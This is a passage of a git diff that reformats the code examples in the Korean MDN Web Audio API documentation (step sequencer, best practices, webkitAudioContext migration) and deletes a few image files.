+  sampleSource.buffer = audioBuffer;
+  sampleSource.playbackRate.value = playbackRate;
+  sampleSource.connect(audioContext.destination);
+  sampleSource.start(time);
+  return sampleSource;
 }
 ```
 
@@ -455,10 +524,14 @@ function playSample(audioContext, audioBuffer, time) {
 
 ```js
 let tempo = 60.0;
-const bpmControl = document.querySelector('#bpm');
-bpmControl.addEventListener('input', function() {
+const bpmControl = document.querySelector("#bpm");
+bpmControl.addEventListener(
+  "input",
+  function () {
     tempo = Number(this.value);
-}, false);
+  },
+  false,
+);
 ```
 
 그리고 나서 우리는 얼마나 미리 우리가 내다보기를 원하는지, 그리고 얼마나 미리 우리가 스케쥴하기를 원하는지를 정의하는 변수를 생성할 것입니다:
@@ -475,15 +548,15 @@ let currentNote = 0;
 let nextNoteTime = 0.0; // 다음 노트가 예정되어 있을 때
 
 function nextNote() {
-    const secondsPerBeat = 60.0 / tempo;
+  const secondsPerBeat = 60.0 / tempo;
 
-    nextNoteTime += secondsPerBeat; // 박자 시간을 유지하기 위해 비트 길이를 추가
+  nextNoteTime += secondsPerBeat; // 박자 시간을 유지하기 위해 비트 길이를 추가
 
-    // 박자 숫자를 진행시키고, 0으로 만듭니다
-    currentNote++;
-    if (currentNote === 4) {
-            currentNote = 0;
-    }
+  // 박자 숫자를 진행시키고, 0으로 만듭니다
+  currentNote++;
+  if (currentNote === 4) {
+    currentNote = 0;
+  }
 }
 ```
 
@@ -493,37 +566,52 @@ function nextNote() {
 const notesInQueue = [];
 
 function scheduleNote(beatNumber, time) {
-
-    // 우리가 재생 중이 아닐지라도, 노트를 큐에 푸시합니다.
-    notesInQueue.push({ note: beatNumber, time: time });
-
-    if (pads[0].querySelectorAll('button')[beatNumber].getAttribute('aria-checked') === 'true') {
-        playSweep(time)
-    }
-    if (pads[1].querySelectorAll('button')[beatNumber].getAttribute('aria-checked') === 'true') {
-        playPulse(time)
-    }
-    if (pads[2].querySelectorAll('button')[beatNumber].getAttribute('aria-checked') === 'true') {
-        playNoise(time)
-    }
-    if (pads[3].querySelectorAll('button')[beatNumber].getAttribute('aria-checked') === 'true') {
-        playSample(audioCtx, dtmf, time);
-    }
+  // 우리가 재생 중이 아닐지라도, 노트를 큐에 푸시합니다.
+  notesInQueue.push({ note: beatNumber, time: time });
+
+  if (
+    pads[0]
+      .querySelectorAll("button")
+      [beatNumber].getAttribute("aria-checked") === "true"
+  ) {
+    playSweep(time);
+  }
+  if (
+    pads[1]
+      .querySelectorAll("button")
+      [beatNumber].getAttribute("aria-checked") === "true"
+  ) {
+    playPulse(time);
+  }
+  if (
+    pads[2]
+      .querySelectorAll("button")
+      [beatNumber].getAttribute("aria-checked") === "true"
+  ) {
+    playNoise(time);
+  }
+  if (
+    pads[3]
+      .querySelectorAll("button")
+      [beatNumber].getAttribute("aria-checked") === "true"
+  ) {
+    playSample(audioCtx, dtmf, time);
+  }
 }
 ```
 
 여기서 우리는 현재 시간을 보고 다음 노트에 대한 시간과 비교합니다; 두 개가 일치할 때 이것은 이전의 두 함수를 호출할 것입니다.
 
-{{domxref("AudioContext")}} 객체 인스턴스는 [`currentTime`](/en-US/docs/Web/API/BaseAudioContext/currentTime) 속성을 가지고 있는데, 이는 우리가 처음 컨텍스트를 생성한 이후의 초를 얻을 수 있게 합니다. 이것은 우리가 우리의 스텝 시퀸서 내에서 타이밍을 위해 사용해야만 하는 것입니다 — 약 소수 15자리까지의 정확한 float 값을 반환하는 이것은 극도로 정확합니다.
+{{domxref("AudioContext")}} 객체 인스턴스는 [`currentTime`](/ko/docs/Web/API/BaseAudioContext/currentTime) 속성을 가지고 있는데, 이는 우리가 처음 컨텍스트를 생성한 이후의 초를 얻을 수 있게 합니다. 이것은 우리가 우리의 스텝 시퀸서 내에서 타이밍을 위해 사용해야만 하는 것입니다 — 약 소수 15자리까지의 정확한 float 값을 반환하는 이것은 극도로 정확합니다.
 
 ```js
 function scheduler() {
-    // 다음 구간 전에 재생할 필요가 있을 노트가 있는 동안, 그것들을 스케쥴하고 포인터를 진행시킵니다.
-    while (nextNoteTime < audioCtx.currentTime + scheduleAheadTime ) {
-        scheduleNote(currentNote, nextNoteTime);
-        nextNote();
-    }
-    timerID = window.setTimeout(scheduler, lookahead);
+  // 다음 구간 전에 재생할 필요가 있을 노트가 있는 동안, 그것들을 스케쥴하고 포인터를 진행시킵니다.
+  while (nextNoteTime < audioCtx.currentTime + scheduleAheadTime) {
+    scheduleNote(currentNote, nextNoteTime);
+    nextNote();
+  }
+  timerID = window.setTimeout(scheduler, lookahead);
 }
 ```
 
@@ -533,25 +621,25 @@ function scheduler() {
 let lastNoteDrawn = 3;
 
 function draw() {
-    let drawNote = lastNoteDrawn;
-    let currentTime = audioCtx.currentTime;
-
-    while (notesInQueue.length && notesInQueue[0].time < currentTime) {
-        drawNote = notesInQueue[0].note;
-        notesInQueue.splice(0,1);   // 노트를 큐에서 제거합니다
-    }
-
-    // 우리는 오직 노트가 이동되었을 경우 그릴 필요가 있습니다.
-    if (lastNoteDrawn != drawNote) {
-        pads.forEach(function(el, i) {
-            el.children[lastNoteDrawn].style.borderColor = 'hsla(0, 0%, 10%, 1)';
-            el.children[drawNote].style.borderColor = 'hsla(49, 99%, 50%, 1)';
-        });
+  let drawNote = lastNoteDrawn;
+  let currentTime = audioCtx.currentTime;
+
+  while (notesInQueue.length && notesInQueue[0].time < currentTime) {
+    drawNote = notesInQueue[0].note;
+    notesInQueue.splice(0, 1); // 노트를 큐에서 제거합니다
+  }
+
+  // 우리는 오직 노트가 이동되었을 경우 그릴 필요가 있습니다.
+  if (lastNoteDrawn != drawNote) {
+    pads.forEach(function (el, i) {
+      el.children[lastNoteDrawn].style.borderColor = "hsla(0, 0%, 10%, 1)";
+      el.children[drawNote].style.borderColor = "hsla(49, 99%, 50%, 1)";
+    });
 
-        lastNoteDrawn = drawNote;
-    }
-    // 다시 그리기 위해 설정됨
-    requestAnimationFrame(draw);
+    lastNoteDrawn = drawNote;
+  }
+  // 다시 그리기 위해 설정됨
+  requestAnimationFrame(draw);
 }
 ```
 
@@ -561,39 +649,36 @@ function draw() {
 
 ```js
 // 로드된 샘플이 재생을 허용했을 때
-let loadingEl = document.querySelector('.loading');
-const playButton = document.querySelector('[data-playing]');
+let loadingEl = document.querySelector(".loading");
+const playButton = document.querySelector("[data-playing]");
 let isPlaying = false;
-setupSample()
-    .then((sample) => {
-        loadingEl.style.display = 'none'; // 로딩 스크린 제거
-
-        dtmf = sample; // 우리의 playSample 함수에서 사용될 것임
-
-        playButton.addEventListener('click', function() {
-            isPlaying = !isPlaying;
-
-            if (isPlaying) { // 재생 시작
-
-                // 컨텍스트가 연기(suspended) 상태인지 확인 (자동 재생 정책)
-                if (audioCtx.state === 'suspended') {
-                    audioCtx.resume();
-                }
-
-                currentNote = 0;
-                nextNoteTime = audioCtx.currentTime;
-                scheduler(); // 스케쥴링 시작
-                requestAnimationFrame(draw); // 드로잉 루프 시작.
-                this.dataset.playing = 'true';
-
-            } else {
-
-                window.clearTimeout(timerID);
-                this.dataset.playing = 'false';
-
-            }
-        })
-    });
+setupSample().then((sample) => {
+  loadingEl.style.display = "none"; // 로딩 스크린 제거
+
+  dtmf = sample; // 우리의 playSample 함수에서 사용될 것임
+
+  playButton.addEventListener("click", function () {
+    isPlaying = !isPlaying;
+
+    if (isPlaying) {
+      // 재생 시작
+
+      // 컨텍스트가 연기(suspended) 상태인지 확인 (자동 재생 정책)
+      if (audioCtx.state === "suspended") {
+        audioCtx.resume();
+      }
+
+      currentNote = 0;
+      nextNoteTime = audioCtx.currentTime;
+      scheduler(); // 스케쥴링 시작
+      requestAnimationFrame(draw); // 드로잉 루프 시작.
+      this.dataset.playing = "true";
+    } else {
+      window.clearTimeout(timerID);
+      this.dataset.playing = "false";
+    }
+  });
+});
 ```
 
 ## 요약
diff --git a/files/ko/web/api/web_audio_api/advanced_techniques/sequencer.png b/files/ko/web/api/web_audio_api/advanced_techniques/sequencer.png
deleted file mode 100644
index 63de8cb0de49f8..00000000000000
Binary files a/files/ko/web/api/web_audio_api/advanced_techniques/sequencer.png and /dev/null differ
diff --git a/files/ko/web/api/web_audio_api/audio-context_.png b/files/ko/web/api/web_audio_api/audio-context_.png
deleted file mode 100644
index 36d01900529615..00000000000000
Binary files a/files/ko/web/api/web_audio_api/audio-context_.png and /dev/null differ
diff --git a/files/ko/web/api/web_audio_api/best_practices/index.md b/files/ko/web/api/web_audio_api/best_practices/index.md
index 656a9a290be64f..2d8430860ece93 100644
--- a/files/ko/web/api/web_audio_api/best_practices/index.md
+++ b/files/ko/web/api/web_audio_api/best_practices/index.md
@@ -2,6 +2,7 @@
 title: Web Audio API 잘 사용하기
 slug: Web/API/Web_Audio_API/Best_practices
 ---
+
 {{apiref("Web Audio API")}}
 
 창의적인 코드를 작성할 때 엄격하게 옳거나 틀린 길은 없습니다. 여러분이 보안, 성능, 접근성을 고려하는 한, 여러분은 여러분만의 스타일에 적응할 수 있습니다. 이 문서에서, 우리는 몇 가지의 _좋은 습관들_ — Web Audio API를 가지고 작업하는 데 있어서의 가이드라인, 팁, 그리고 트릭들 — 을 공유하고자 합니다.
@@ -47,24 +48,32 @@ Web Audio API 명세는 끊임없이 진화하고 있으며 웹에 있는 대부
 {{domxref("AudioContext")}}를 가지고 작업할 때, 만약 여러분이 오디오 컨텍스트를 `click` 이벤트 내부에서 생성했다면 상태는 자동적으로 `running`으로 설정될 것입니다. 여기 `click` 이벤트 내부로부터 컨텍스트를 생성하는 간단한 예제가 있습니다:
 
 ```js
-const button = document.querySelector('button');
-button.addEventListener('click', function() {
+const button = document.querySelector("button");
+button.addEventListener(
+  "click",
+  function () {
     const audioCtx = new AudioContext();
-}, false);
+  },
+  false,
+);
 ```
 
 그러나 만약, 여러분이 유저 제스처 바깥에서 컨텍스트를 생성했다면, 이것의 상태는 `suspended`로 설정될 것이고 유저 상호 작용 이후에 시작될 필요가 있을 것입니다. 우리는 같은 클릭 이벤트 예제를 여기서 사용하고, 컨텍스트의 상태를 시험하고, 만약 이것이 연기되었다면(suspended), [`resume()`](/ko/docs/Web/API/AudioContext/resume) 메서드를 사용하여 시작합니다.
 
 ```js
 const audioCtx = new AudioContext();
-const button = document.querySelector('button');
-
-button.addEventListener('click', function() {
-      // 컨텍스트가 연기된 상태에 있는지 검사합니다 (자동 재생 정책)
-    if (audioCtx.state === 'suspended') {
-        audioCtx.resume();
+const button = document.querySelector("button");
+
+button.addEventListener(
+  "click",
+  function () {
+    // 컨텍스트가 연기된 상태에 있는지 검사합니다 (자동 재생 정책)
+    if (audioCtx.state === "suspended") {
+      audioCtx.resume();
     }
-}, false);
+  },
+  false,
+);
 ```
 
 여러분은 대신 {{domxref("OfflineAudioContext")}}을 가지고 작업할 수 있는데, 이 경우 여러분은 연기된 오디오 컨텍스트를 [`startRendering()`](/ko/docs/Web/API/OfflineAudioContext/startRendering) 메서드로 재개할 수 있습니다.
diff --git a/files/ko/web/api/web_audio_api/controlling_multiple_parameters_with_constantsourcenode/customsourcenode-as-splitter.svg b/files/ko/web/api/web_audio_api/controlling_multiple_parameters_with_constantsourcenode/customsourcenode-as-splitter.svg
deleted file mode 100644
index 0490cddbe5c53c..00000000000000
--- a/files/ko/web/api/web_audio_api/controlling_multiple_parameters_with_constantsourcenode/customsourcenode-as-splitter.svg
+++ /dev/null
@@ -1 +0,0 @@
-<svg xmlns="http://www.w3.org/2000/svg" viewBox="7 7 580 346" width="580pt" height="346pt"><defs><marker orient="auto" overflow="visible" markerUnits="strokeWidth" id="a" viewBox="-1 -3 7 6" markerWidth="7" markerHeight="6" color="#000"><path d="M4.8 0 0-1.8v3.6z" fill="currentColor" stroke="currentColor"/></marker></defs><g fill="none"><path fill="#867fff" d="M207 99h180v45H207z"/><path stroke="#000" stroke-linecap="round" stroke-linejoin="round" d="M207 99h180v45H207z"/><text transform="translate(212 113)" fill="#000"><tspan font-family="Courier" font-size="14" font-weight="500" x="9.388" y="14" textLength="151.225">ConstantSourceNode</tspan></text><path fill="#867fff" d="M9 216h180v45H9z"/><path stroke="#000" stroke-linecap="round" stroke-linejoin="round" d="M9 216h180v45H9z"/><text transform="translate(14 230)" fill="#000"><tspan font-family="Courier" font-size="14" font-weight="500" x="51.395" y="14" textLength="67.211">GainNode</tspan></text><path fill="#867fff" d="M405 216h180v45H405z"/><path stroke="#000" stroke-linecap="round" stroke-linejoin="round" d="M405 216h180v45H405z"/><text transform="translate(410 230)" fill="#000"><tspan font-family="Courier" font-size="14" font-weight="500" x="51.395" y="14" textLength="67.211">GainNode</tspan></text><path fill="#867fff" d="M207 216h180v45H207z"/><path stroke="#000" stroke-linecap="round" stroke-linejoin="round" d="M207 216h180v45H207z"/><text transform="translate(212 230)" fill="#000"><tspan font-family="Courier" font-size="14" font-weight="500" x="17.789" y="14" textLength="134.422">StereoPannerNode</tspan></text><path d="M252 144v27H99v32.1M297 144v59.1m45-59.1v27h153v32.1" marker-end="url(#a)" stroke="#000" stroke-linecap="round" stroke-linejoin="round" stroke-width="2"/><text transform="translate(55.876 192.447)" fill="#000"><tspan font-family="Courier" font-size="14" font-weight="500" x=".197" y="14" textLength="33.605">gain</tspan></text><text transform="translate(258.64 192.854)" fill="#000"><tspan font-family="Courier" font-size="14" font-weight="500" x=".398" y="14" textLength="25.204">pan</tspan></text><text transform="translate(504.37 193.347)" fill="#000"><tspan font-family="Courier" font-size="14" font-weight="500" x=".197" y="14" textLength="33.605">gain</tspan></text><path marker-end="url(#a)" stroke="#000" stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M297 54v32.1"/><path d="M243 9h144l-36 45H207z" fill="#fff"/><path d="M243 9h144l-36 45H207z" stroke="#000" stroke-linecap="round" stroke-linejoin="round"/><text transform="translate(248 22)" fill="#000"><tspan font-family="Arial" font-size="16" font-weight="500" x="17.734" y="15" textLength="52.93">input = </tspan><tspan font-family="Courier" font-size="16" font-style="italic" font-weight="500" x="70.664" y="15" textLength="9.602">N</tspan></text><path d="M243 306h144l-36 45H207z" fill="#fff"/><path d="M243 306h144l-36 45H207z" stroke="#000" stroke-linecap="round" stroke-linejoin="round"/><text transform="translate(248 319)" fill="#000"><tspan font-family="Arial" font-size="16" font-weight="500" x="12.84" y="15" textLength="62.719">output = </tspan><tspan font-family="Courier" font-size="16" font-style="italic" font-weight="500" x="75.559" y="15" textLength="9.602">N</tspan></text><path marker-end="url(#a)" stroke="#000" stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="m296.5 261 .357 32.101"/><path d="M441 306h144l-36 45H405z" fill="#fff"/><path d="M441 306h144l-36 45H405z" stroke="#000" stroke-linecap="round" stroke-linejoin="round"/><text transform="translate(446 319)" fill="#000"><tspan font-family="Arial" font-size="16" font-weight="500" x="12.84" y="15" textLength="62.719">output = </tspan><tspan font-family="Courier" font-size="16" font-style="italic" font-weight="500" x="75.559" y="15" textLength="9.602">N</tspan></text><path marker-end="url(#a)" stroke="#000" stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M495 261v32.1"/><path d="M45 306h144l-36 45H9z" fill="#fff"/><path d="M45 306h144l-36 45H9z" stroke="#000" stroke-linecap="round" stroke-linejoin="round"/><text transform="translate(50 319)" fill="#000"><tspan font-family="Arial" font-size="16" font-weight="500" x="12.84" y="15" textLength="62.719">output = </tspan><tspan font-family="Courier" font-size="16" font-style="italic" font-weight="500" x="75.559" y="15" textLength="9.602">N</tspan></text><path marker-end="url(#a)" stroke="#000" stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M99 261v32.1"/></g></svg>
\ No newline at end of file
diff --git a/files/ko/web/api/web_audio_api/controlling_multiple_parameters_with_constantsourcenode/index.md b/files/ko/web/api/web_audio_api/controlling_multiple_parameters_with_constantsourcenode/index.md
index e28c7c0757f516..584a0b133089ad 100644
--- a/files/ko/web/api/web_audio_api/controlling_multiple_parameters_with_constantsourcenode/index.md
+++ b/files/ko/web/api/web_audio_api/controlling_multiple_parameters_with_constantsourcenode/index.md
@@ -32,19 +32,25 @@ slug: Web/API/Web_Audio_API/Controlling_multiple_parameters_with_ConstantSourceN
 ```html
 <div class="controls">
   <div class="left">
-    <div id="playButton" class="button">
-      ▶️
-    </div>
+    <div id="playButton" class="button">▶️</div>
   </div>
   <div class="right">
     <span>Volume: </span>
-    <input type="range" min="0.0" max="1.0" step="0.01"
-        value="0.8" name="volume" id="volumeControl">
+    <input
+      type="range"
+      min="0.0"
+      max="1.0"
+      step="0.01"
+      value="0.8"
+      name="volume"
+      id="volumeControl" />
   </div>
 </div>
 
-<p>음을 재생하고 정지하기 위해 위의 버튼을,
-그리고 화음 E와 G의 볼륨을 변경하기 위해 볼륨 슬라이더를 사용하세요.</p>
+<p>
+  음을 재생하고 정지하기 위해 위의 버튼을, 그리고 화음 E와 G의 볼륨을 변경하기
+  위해 볼륨 슬라이더를 사용하세요.
+</p>
 ```
 
 ```css hidden
@@ -67,7 +73,11 @@ slug: Web/API/Web_Audio_API/Controlling_multiple_parameters_with_ConstantSourceN
 
 .right {
   width: 50%;
-  font: 14px "Open Sans", "Lucida Grande", "Arial", sans-serif;
+  font:
+    14px "Open Sans",
+    "Lucida Grande",
+    "Arial",
+    sans-serif;
   position: absolute;
   right: 0;
   display: table-cell;
@@ -90,7 +100,8 @@ slug: Web/API/Web_Audio_API/Controlling_multiple_parameters_with_ConstantSourceN
   vertical-align: middle;
 }
 
-.left span, .left input {
+.left span,
+.left input {
   vertical-align: middle;
 }
 ```
@@ -233,7 +244,7 @@ function startOscillators() {
 
   oscNode3 = context.createOscillator();
   oscNode3.type = "sine";
-  oscNode3.frequency.value = 391.995435981749294 // G
+  oscNode3.frequency.value = 391.995435981749294; // G
   oscNode3.connect(gainNode3);
 
   oscNode1.start();
diff --git a/files/ko/web/api/web_audio_api/index.md b/files/ko/web/api/web_audio_api/index.md
index c2060f3f9fa9a4..e4058676b39ed1 100644
--- a/files/ko/web/api/web_audio_api/index.md
+++ b/files/ko/web/api/web_audio_api/index.md
@@ -2,6 +2,7 @@
 title: Web Audio API
 slug: Web/API/Web_Audio_API
 ---
+
 {{DefaultAPISidebar("Web Audio API")}}
 
 Web Audio API는 웹에서 오디오를 제어하기 위한 강력하고 다양한 기능을 제공합니다. Web Audio API를 이용하면 오디오 소스를 선택할 수 있도록 하거나, 오디오에 이펙트를 추가하거나, 오디오를 시각화하거나, 패닝과 같은 공간 이펙트를 적용시키는 등의 작업이 가능합니다.
diff --git a/files/ko/web/api/web_audio_api/migrating_from_webkitaudiocontext/index.md b/files/ko/web/api/web_audio_api/migrating_from_webkitaudiocontext/index.md
index 835ddd0d0c584e..5ce2dd8dcba6e0 100644
--- a/files/ko/web/api/web_audio_api/migrating_from_webkitaudiocontext/index.md
+++ b/files/ko/web/api/web_audio_api/migrating_from_webkitaudiocontext/index.md
@@ -2,6 +2,7 @@
 title: webkitAudioContext에서 이주하기
 slug: Web/API/Web_Audio_API/Migrating_from_webkitAudioContext
 ---
+
 Web Audio API는 현 상태에 이르기까지 많은 반복을 거쳤습니다. 이것은 처음에 WebKit에서 구현되었고, 이것의 낡은 부분들의 일부는 그것들이 명세에서 대체되는 동안 즉시 제거되지 않았는데, 이는 많은 사이트들이 비호환되는 코드를 사용하는 것으로 이어졌습니다. 이 글에서, 우리는 Web Audio API가 WebKit에서 처음 구현된 이후로의 Web Audio API에서의 차이를 다루고 현대 Web Audio API를 사용하기 위해 어떻게 코드를 업데이트해야 되는지를 다룹니다.
 
 Web Audio 표준은 [WebKit](https://webkit.org/)에서 처음 구현되었고, 이 구현은 API의 [명세](https://dvcs.w3.org/hg/audio/raw-file/tip/webaudio/specification.html)에서의 작업과 동시에 개발되었습니다. 명세가 진화하고 변화가 만들어짐에 따라, 낡은 구현 부분들 중 일부는 이전 호환성의 이유에 기인해 WebKit (그리고 Blink) 구현에서 제거되지 않았습니다.
@@ -79,7 +80,7 @@ var xhr = new XMLHttpRequest();
 xhr.open("GET", "/path/to/audio.ogg", true);
 xhr.responseType = "arraybuffer";
 xhr.send();
-xhr.onload = function() {
+xhr.onload = function () {
   var decodedBuffer = context.createBuffer(xhr.response, false);
   if (decodedBuffer) {
     // 디코딩은 성공적이었습니다, 오디오 버퍼로 무언가 유용한 걸 하십시오
@@ -96,12 +97,16 @@ var xhr = new XMLHttpRequest();
 xhr.open("GET", "/path/to/audio.ogg", true);
 xhr.responseType = "arraybuffer";
 xhr.send();
-xhr.onload = function() {
-  context.decodeAudioData(xhr.response, function onSuccess(decodedBuffer) {
-    // 디코딩은 성공적이었습니다, 오디오 버퍼로 무언가 유용한 걸 하십시오
-  }, function onFailure() {
-    alert("오디오 버퍼 디코딩 실패");
-  });
+xhr.onload = function () {
+  context.decodeAudioData(
+    xhr.response,
+    function onSuccess(decodedBuffer) {
+      // 디코딩은 성공적이었습니다, 오디오 버퍼로 무언가 유용한 걸 하십시오
+    },
+    function onFailure() {
+      alert("오디오 버퍼 디코딩 실패");
+    },
+  );
 };
 ```
 
@@ -112,15 +117,15 @@ xhr.onload = function() {
 {{domxref("AudioParam")}} 인터페이스의 `setTargetValueAtTime()` 메서드는 `setTargetAtTime()`으로 이름이 바뀌었습니다. 이것은 또한 API의 이해성을 개선하기 위한 단순한 개명이고, 메서드의 의미는 동일합니다. 만약 여러분의 코드가 `setTargetValueAtTime()`를 사용하고 있다면, `setTargetAtTime()`으로 이름을 바꿀 수 있습니다. 예를 들자면, 만약 우리가 다음과 같은 코드를 가지고 있다면:
 
 ```js
-  var gainNode = context.createGain();
-  gainNode.gain.setTargetValueAtTime(0.0, 10.0, 1.0);
+var gainNode = context.createGain();
+gainNode.gain.setTargetValueAtTime(0.0, 10.0, 1.0);
 ```
 
 다음과 같이, 여러분은 메서드의 이름을 바꿀 수 있고, 표준을 따를 수 있습니다:
 
 ```js
-  var gainNode = context.createGain();
-  gainNode.gain.setTargetAtTime(0.0, 10.0, 1.0);
+var gainNode = context.createGain();
+gainNode.gain.setTargetAtTime(0.0, 10.0, 1.0);
 ```
 
 ## 변경된 열거형 값들
@@ -134,21 +139,21 @@ xhr.onload = function() {
 ```js
 // 오래된 webkitAudioContext 코드:
 var osc = context.createOscillator();
-osc.type = osc.SINE;     // sine 파형
-osc.type = osc.SQUARE;   // square 파형
+osc.type = osc.SINE; // sine 파형
+osc.type = osc.SQUARE; // square 파형
 osc.type = osc.SAWTOOTH; // sawtooth 파형
 osc.type = osc.TRIANGLE; // triangle 파형
 osc.setWaveTable(table);
-var isCustom = (osc.type == osc.CUSTOM); // isCustom은 true일 것입니다
+var isCustom = osc.type == osc.CUSTOM; // isCustom은 true일 것입니다
 
 // 새로운 표준 AudioContext 코드:
 var osc = context.createOscillator();
-osc.type = "sine";       // sine 파형
-osc.type = "square";     // square 파형
-osc.type = "sawtooth";   // sawtooth 파형
-osc.type = "triangle";   // triangle 파형
-osc.setPeriodicWave(table);  // 참고: setWaveTable은 setPeriodicWave로 이름이 바뀌었습니다!
-var isCustom = (osc.type == "custom"); // isCustom은 true일 것입니다
+osc.type = "sine"; // sine 파형
+osc.type = "square"; // square 파형
+osc.type = "sawtooth"; // sawtooth 파형
+osc.type = "triangle"; // triangle 파형
+osc.setPeriodicWave(table); // 참고: setWaveTable은 setPeriodicWave로 이름이 바뀌었습니다!
+var isCustom = osc.type == "custom"; // isCustom은 true일 것입니다
 ```
 
 ### BiquadFilterNode.type
@@ -158,25 +163,25 @@ var isCustom = (osc.type == "custom"); // isCustom은 true일 것입니다
 ```js
 // 오래된 webkitAudioContext 코드:
 var filter = context.createBiquadFilter();
-filter.type = filter.LOWPASS;   // lowpass 필터
-filter.type = filter.HIGHPASS;  // highpass 필터
-filter.type = filter.BANDPASS;  // bandpass 필터
-filter.type = filter.LOWSHELF;  // lowshelf 필터
+filter.type = filter.LOWPASS; // lowpass 필터
+filter.type = filter.HIGHPASS; // highpass 필터
+filter.type = filter.BANDPASS; // bandpass 필터
+filter.type = filter.LOWSHELF; // lowshelf 필터
 filter.type = filter.HIGHSHELF; // highshelf 필터
-filter.type = filter.PEAKING;   // peaking 필터
-filter.type = filter.NOTCH;     // notch 필터
-filter.type = filter.ALLPASS;   // allpass 필터
+filter.type = filter.PEAKING; // peaking 필터
+filter.type = filter.NOTCH; // notch 필터
+filter.type = filter.ALLPASS; // allpass 필터
 
 // 새로운 표준 AudioContext 코드:
 var filter = context.createBiquadFilter();
-filter.type = "lowpass";        // lowpass 필터
-filter.type = "highpass";       // highpass 필터
-filter.type = "bandpass";       // bandpass 필터
-filter.type = "lowshelf";       // lowshelf 필터
-filter.type = "highshelf";      // highshelf 필터
-filter.type = "peaking";        // peaking 필터
-filter.type = "notch";          // notch 필터
-filter.type = "allpass";        // allpass 필터
+filter.type = "lowpass"; // lowpass 필터
+filter.type = "highpass"; // highpass 필터
+filter.type = "bandpass"; // bandpass 필터
+filter.type = "lowshelf"; // lowshelf 필터
+filter.type = "highshelf"; // highshelf 필터
+filter.type = "peaking"; // peaking 필터
+filter.type = "notch"; // notch 필터
+filter.type = "allpass"; // allpass 필터
 ```
 
 ### PannerNode.panningModel
@@ -186,13 +191,13 @@ filter.type = "allpass";        // allpass 필터
 ```js
 // 오래된 webkitAudioContext 코드:
 var panner = context.createPanner();
-panner.panningModel = panner.EQUALPOWER;  // equalpower 패닝
-panner.panningModel = panner.HRTF;        // HRTF 패닝
+panner.panningModel = panner.EQUALPOWER; // equalpower 패닝
+panner.panningModel = panner.HRTF; // HRTF 패닝
 
 // New standard AudioContext code:
 var panner = context.createPanner();
-panner.panningModel = "equalpower";       // equalpower 패닝
-panner.panningModel = "HRTF";             // HRTF 패닝
+panner.panningModel = "equalpower"; // equalpower 패닝
+panner.panningModel = "HRTF"; // HRTF 패닝
 ```
 
 ### PannerNode.distanceModel
@@ -202,15 +207,15 @@ panner.panningModel = "HRTF";             // HRTF 패닝
 ```js
 // 오래된 webkitAudioContext 코드:
 var panner = context.createPanner();
-panner.distanceModel = panner.LINEAR_DISTANCE;      // linear distance 모델
-panner.distanceModel = panner.INVERSE_DISTANCE;     // inverse distance 모델
+panner.distanceModel = panner.LINEAR_DISTANCE; // linear distance 모델
+panner.distanceModel = panner.INVERSE_DISTANCE; // inverse distance 모델
 panner.distanceModel = panner.EXPONENTIAL_DISTANCE; // exponential distance 모델
 
 // 새로운 표준 AudioContext 코드:
 var panner = context.createPanner();
-panner.distanceModel = "linear";                    // linear distance 모델
-panner.distanceModel = "inverse";                   // inverse distance 모델
-panner.distanceModel = "exponential";               // exponential distance 모델
+panner.distanceModel = "linear"; // linear distance 모델
+panner.distanceModel = "inverse"; // inverse distance 모델
+panner.distanceModel = "exponential"; // exponential distance 모델
 ```
 
 ## Gain 제어는 이것만의 노드 유형으로 이동됨
@@ -292,7 +297,7 @@ source.loop = true;
 // 오래된 webkitAudioContext 코드:
 var src = context.createBufferSource();
 // 얼마 후...
-var isFinished = (src.playbackState == src.FINISHED_STATE);
+var isFinished = src.playbackState == src.FINISHED_STATE;
 
 // 새로운 AudioContext 코드:
 var src = context.createBufferSource();
@@ -312,44 +317,44 @@ src.onended = endedHandler;
 이 코드처럼, {{domxref("AudioContext")}}의 `activeSourceCount` 특성을 사용하는 코드:
 
 ```js
-  var src0 = context.createBufferSource();
-  var src1 = context.createBufferSource();
-  // 버퍼와 다른 매개변수들을 설정합니다...
-  src0.start(0);
-  src1.start(0);
-  // 얼마 후...
-  console.log(context.activeSourceCount);
+var src0 = context.createBufferSource();
+var src1 = context.createBufferSource();
+// 버퍼와 다른 매개변수들을 설정합니다...
+src0.start(0);
+src1.start(0);
+// 얼마 후...
+console.log(context.activeSourceCount);
 ```
 
 다음과 같이 재작성될 수 있습니다:
 
 ```js
-  // 재생되고 있는 소스 노드를 추적할 배열:
-  var sources = [];
-  // 소스를 시작할 때, 이것을 배열의 끝에 넣고,
-  // AudioBufferSourceNode가 끝에 도달했을 때
-  // 이것이 확실히 제거되도록 이벤트 처리기를 설정합니다.
-  // 첫번째 매개변수는 시작할 AudioBufferSourceNode이고,
-  // 다른 매개변수들은 AudioBufferSourceNode의 |start()|에의 매개변수입니다.
-  function startSource() {
-    var src = arguments[0];
-    var startArgs = Array.prototype.slice.call(arguments, 1);
-    src.onended = function() {
-      sources.splice(sources.indexOf(src), 1);
-    }
-    sources.push(src);
-    src.start.apply(src, startArgs);
-  }
-  function activeSources() {
-    return sources.length;
-  }
-  var src0 = context.createBufferSource();
-  var src0 = context.createBufferSource();
-  // 버퍼와 다른 매개변수들을 설정합니다...
-  startSource(src0, 0);
-  startSource(src1, 0);
-  // 얼마 후, 소스의 수를 확인합니다...
-  console.log(activeSources());
+// 재생되고 있는 소스 노드를 추적할 배열:
+var sources = [];
+// 소스를 시작할 때, 이것을 배열의 끝에 넣고,
+// AudioBufferSourceNode가 끝에 도달했을 때
+// 이것이 확실히 제거되도록 이벤트 처리기를 설정합니다.
+// 첫번째 매개변수는 시작할 AudioBufferSourceNode이고,
+// 다른 매개변수들은 AudioBufferSourceNode의 |start()|에의 매개변수입니다.
+function startSource() {
+  var src = arguments[0];
+  var startArgs = Array.prototype.slice.call(arguments, 1);
+  src.onended = function () {
+    sources.splice(sources.indexOf(src), 1);
+  };
+  sources.push(src);
+  src.start.apply(src, startArgs);
+}
+function activeSources() {
+  return sources.length;
+}
+var src0 = context.createBufferSource();
+var src0 = context.createBufferSource();
+// 버퍼와 다른 매개변수들을 설정합니다...
+startSource(src0, 0);
+startSource(src1, 0);
+// 얼마 후, 소스의 수를 확인합니다...
+console.log(activeSources());
 ```
 
 ## WaveTable의 재명명
diff --git a/files/ko/web/api/web_audio_api/simple_synth/index.md b/files/ko/web/api/web_audio_api/simple_synth/index.md
index d9546aa6a02154..adef64608b982d 100644
